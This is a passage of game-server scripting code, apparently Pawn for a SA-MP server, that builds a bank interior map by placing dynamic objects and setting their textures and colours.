BankMapLV = CreateDynamicObject(2229 , 1402.314575 , 1321.155518 , 1500.078247 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLV = CreateDynamicObject(2229 , 1399.776367 , 1320.262939 , 1500.076294 , 0.000000 , 0.000000 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLV = CreateDynamicObject(2229 , 1400.390625 , 1321.155518 , 1500.078247 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLV = CreateDynamicObject(2229 , 1400.387451 , 1321.610840 , 1500.076172 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLV = CreateDynamicObject(1783 , 1409.686523 , 1320.721313 , 1501.023682 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLV , 2 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
BankMapLV = CreateDynamicObject(1783 , 1409.050537 , 1320.721313 , 1501.023682 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLV , 2 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
BankMapLV = CreateDynamicObject(1783 , 1408.414551 , 1320.721313 , 1501.023682 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLV , 2 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
BankMapLV = CreateDynamicObject(1783 , 1407.778564 , 1320.721313 , 1501.023682 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLV , 2 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
BankMapLV = CreateDynamicObject(1783 , 1407.142578 , 1320.721313 , 1501.023682 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLV , 2 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
BankMapLV = CreateDynamicObject(1783 , 1406.506592 , 1320.721313 , 1501.023682 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLV , 2 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
BankMapLV = CreateDynamicObject(1783 , 1403.449951 , 1320.721313 , 1501.023682 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLV , 2 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
BankMapLV = CreateDynamicObject(1783 , 1402.813965 , 1320.721313 , 1501.023682 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLV , 2 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
BankMapLV = CreateDynamicObject(1783 , 1402.177979 , 1320.721313 , 1501.023682 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLV , 2 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
BankMapLV = CreateDynamicObject(1783 , 1401.541992 , 1320.721313 , 1501.023682 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLV , 2 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
BankMapLV = CreateDynamicObject(1783 , 1400.906006 , 1320.721313 , 1501.023682 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLV , 2 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
BankMapLV = CreateDynamicObject(1783 , 1400.270020 , 1320.721313 , 1501.023682 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
SetDynamicObjectMaterial(BankMapLV , 2 , 10226 , "sfeship1" , "CJ_WOOD5" , -9408400);
BankMapLV = CreateDynamicObject(19371 , 1408.416138 , 1320.754761 , 1499.315063 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -334660);
BankMapLV = CreateDynamicObject(19371 , 1408.098145 , 1320.748779 , 1499.315063 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -334660);
BankMapLV = CreateDynamicObject(19371 , 1402.327759 , 1320.797363 , 1499.315063 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -334660);
BankMapLV = CreateDynamicObject(19371 , 1401.691772 , 1320.795410 , 1499.315063 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -334660);
BankMapLV = CreateDynamicObject(19425 , 1408.431885 , 1321.102173 , 1500.778076 , 180.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLV = CreateDynamicObject(19425 , 1408.131958 , 1321.102173 , 1500.776123 , 180.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLV = CreateDynamicObject(19425 , 1408.131958 , 1321.234253 , 1500.780151 , 180.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLV = CreateDynamicObject(19425 , 1408.431885 , 1321.234253 , 1500.776123 , 180.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLV = CreateDynamicObject(19425 , 1402.163818 , 1321.078125 , 1500.778076 , 180.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLV = CreateDynamicObject(19425 , 1401.900024 , 1321.078125 , 1500.776123 , 180.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLV = CreateDynamicObject(19425 , 1402.163818 , 1321.234253 , 1500.776123 , 180.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLV = CreateDynamicObject(19425 , 1401.900024 , 1321.234253 , 1500.780151 , 180.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , 0);
BankMapLV = CreateDynamicObject(2293 , 1409.846924 , 1311.458008 , 1500.078247 , 0.000000 , 0.000000 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10948 , "skyscrapper_sfs" , "ws_asphalt" , -334660);
SetDynamicObjectMaterial(BankMapLV , 1 , 8843 , "vegasarrows" , "dirtywhite" , 0);
BankMapLV = CreateDynamicObject(2293 , 1408.893921 , 1311.458862 , 1500.078247 , 0.000000 , 0.000000 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10948 , "skyscrapper_sfs" , "ws_asphalt" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 8843 , "vegasarrows" , "dirtywhite" , 0);
BankMapLV = CreateDynamicObject(2293 , 1407.941772 , 1311.465698 , 1500.078247 , 0.000000 , 0.000000 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10948 , "skyscrapper_sfs" , "ws_asphalt" , -334660);
SetDynamicObjectMaterial(BankMapLV , 1 , 8843 , "vegasarrows" , "dirtywhite" , 0);
BankMapLV = CreateDynamicObject(2293 , 1407.027954 , 1311.458862 , 1500.078247 , 0.000000 , 0.000000 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10948 , "skyscrapper_sfs" , "ws_asphalt" , -334660);
SetDynamicObjectMaterial(BankMapLV , 1 , 8843 , "vegasarrows" , "dirtywhite" , 0);
BankMapLV = CreateDynamicObject(2293 , 1405.161987 , 1311.458862 , 1500.078247 , 0.000000 , 0.000000 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10948 , "skyscrapper_sfs" , "ws_asphalt" , -334660);
SetDynamicObjectMaterial(BankMapLV , 1 , 8843 , "vegasarrows" , "dirtywhite" , 0);
BankMapLV = CreateDynamicObject(2293 , 1404.229004 , 1311.458862 , 1500.078247 , 0.000000 , 0.000000 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10948 , "skyscrapper_sfs" , "ws_asphalt" , -334660);
SetDynamicObjectMaterial(BankMapLV , 1 , 8843 , "vegasarrows" , "dirtywhite" , 0);
BankMapLV = CreateDynamicObject(2293 , 1403.296021 , 1311.458862 , 1500.078247 , 0.000000 , 0.000000 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10948 , "skyscrapper_sfs" , "ws_asphalt" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 8843 , "vegasarrows" , "dirtywhite" , 0);
BankMapLV = CreateDynamicObject(2293 , 1402.363037 , 1311.458862 , 1500.078247 , 0.000000 , 0.000000 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10948 , "skyscrapper_sfs" , "ws_asphalt" , -334660);
SetDynamicObjectMaterial(BankMapLV , 1 , 8843 , "vegasarrows" , "dirtywhite" , 0);
BankMapLV = CreateDynamicObject(19448 , 1407.800049 , 1323.947388 , 1501.798584 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -1);
BankMapLV = CreateDynamicObject(19448 , 1402.520020 , 1323.950195 , 1501.798584 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -1);
BankMapLV = CreateDynamicObject(19448 , 1397.643433 , 1328.591553 , 1501.798584 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLV = CreateDynamicObject(19448 , 1398.538086 , 1308.126099 , 1501.798584 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLV = CreateDynamicObject(19448 , 1403.241089 , 1310.536621 , 1501.798584 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -1);
BankMapLV = CreateDynamicObject(19448 , 1407.800049 , 1310.537476 , 1501.798584 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -1);
BankMapLV = CreateDynamicObject(19448 , 1393.809937 , 1312.858643 , 1501.798584 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -1);
BankMapLV = CreateDynamicObject(19448 , 1393.809937 , 1312.858643 , 1498.300537 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -1);
BankMapLV = CreateDynamicObject(19448 , 1388.892212 , 1316.276611 , 1498.300537 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLV = CreateDynamicObject(19448 , 1391.914673 , 1320.623657 , 1498.300537 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLV = CreateDynamicObject(19448 , 1396.643311 , 1315.875854 , 1498.300537 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -1);
BankMapLV = CreateDynamicObject(19386 , 1390.470337 , 1331.777710 , 1498.838867 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(19448 , 1393.650635 , 1329.453003 , 1501.798584 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -1);
BankMapLV = CreateDynamicObject(19448 , 1391.812134 , 1325.209351 , 1501.798584 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLV = CreateDynamicObject(19448 , 1391.813965 , 1320.610718 , 1501.798584 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLV = CreateDynamicObject(19448 , 1394.845947 , 1315.872803 , 1504.166748 , -34.500000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -1);
BankMapLV = CreateDynamicObject(2920 , 1412.610229 , 1324.493408 , 1500.197754 , 90.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(2920 , 1412.612549 , 1307.207031 , 1500.197754 , 90.000000 , 0.000000 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(2920 , 1412.610229 , 1324.317383 , 1503.428589 , 90.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(2920 , 1412.612549 , 1310.186035 , 1503.428589 , 90.000000 , 0.000000 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(2920 , 1412.608154 , 1323.755859 , 1496.234741 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(2920 , 1412.609253 , 1317.561646 , 1496.234741 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(2920 , 1412.608032 , 1314.166382 , 1496.234741 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(2920 , 1412.608154 , 1310.757935 , 1496.234741 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(2920 , 1412.609741 , 1320.703613 , 1496.234741 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(2920 , 1412.607300 , 1315.836548 , 1509.615479 , 0.000000 , 180.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(1897 , 1412.718750 , 1316.545166 , 1502.605957 , 0.000000 , 90.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(1897 , 1412.719360 , 1315.151611 , 1502.582031 , 0.000000 , -90.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(1897 , 1412.719360 , 1315.151611 , 1502.701416 , 0.000000 , -90.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(1897 , 1412.718750 , 1316.545166 , 1502.725830 , 0.000000 , 90.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(2920 , 1412.608032 , 1313.949951 , 1496.234741 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(2920 , 1412.609253 , 1317.800049 , 1496.234741 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(2920 , 1412.610229 , 1324.317383 , 1503.676636 , 90.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(2920 , 1412.610229 , 1324.317383 , 1503.924561 , 90.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(2920 , 1412.612549 , 1310.186035 , 1503.676636 , 90.000000 , 0.000000 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
BankMapLV = CreateDynamicObject(2920 , 1412.612549 , 1310.186035 , 1503.924561 , 90.000000 , 0.000000 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 1223 , "dynsigns" , "white64" , -1);
CreateDynamicObject(4585 , 1390.002319 , 1372.762695 , 1550.000000 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
CreateDynamicObject(4585 , 1347.873779 , 1336.759033 , 1550.000000 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
CreateDynamicObject(4585 , 1345.144653 , 1307.015381 , 1550.000000 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
CreateDynamicObject(4585 , 1388.888550 , 1277.294067 , 1550.000000 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
CreateDynamicObject(4585 , 1384.671753 , 1336.227051 , 1524.321045 , 0.000000 , 90.000000 , 90.000000, 26, 63, -1, 200.00);
BankMapLV = CreateDynamicObject(19379 , 1403.841187 , 1308.131958 , 1503.621338 , 0.000000 , 90.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(19379 , 1407.388672 , 1308.132568 , 1503.619263 , 0.000000 , 90.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(19379 , 1402.984009 , 1324.685791 , 1503.621338 , 0.000000 , 90.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(19379 , 1407.388672 , 1324.683838 , 1503.619263 , 0.000000 , 90.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(19380 , 1398.632568 , 1315.999146 , 1508.823120 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLV = CreateDynamicObject(19379 , 1393.468994 , 1313.859131 , 1503.623291 , 0.000000 , 90.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(19379 , 1393.468872 , 1320.578247 , 1503.623657 , 0.000000 , 90.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(19379 , 1393.503052 , 1329.789917 , 1503.621704 , 0.000000 , 90.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(19377 , 1386.650024 , 1314.908569 , 1500.009033 , 0.000000 , 90.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -986896);
BankMapLV = CreateDynamicObject(2678 , 1405.785645 , 1316.416870 , 1501.058960 , 0.000000 , 0.000000 , -90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLV , 2 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLV , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLV , 3 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLV = CreateDynamicObject(2678 , 1405.826050 , 1315.692261 , 1501.058960 , 0.000000 , 0.000000 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLV , 2 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLV , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLV , 3 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLV = CreateDynamicObject(2678 , 1405.060059 , 1316.383545 , 1501.058960 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLV , 2 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLV , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLV , 3 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLV = CreateDynamicObject(2678 , 1405.099976 , 1315.658936 , 1501.058960 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLV , 2 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLV , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLV , 3 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLV = CreateDynamicObject(2678 , 1405.785645 , 1316.416870 , 1503.500610 , 0.000000 , 0.000000 , -90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLV , 2 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLV , 1 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
SetDynamicObjectMaterial(BankMapLV , 3 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
BankMapLV = CreateDynamicObject(2678 , 1405.060059 , 1316.383545 , 1503.500610 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 16150 , "ufo_bar" , "GEwhite1_64" , -723724);
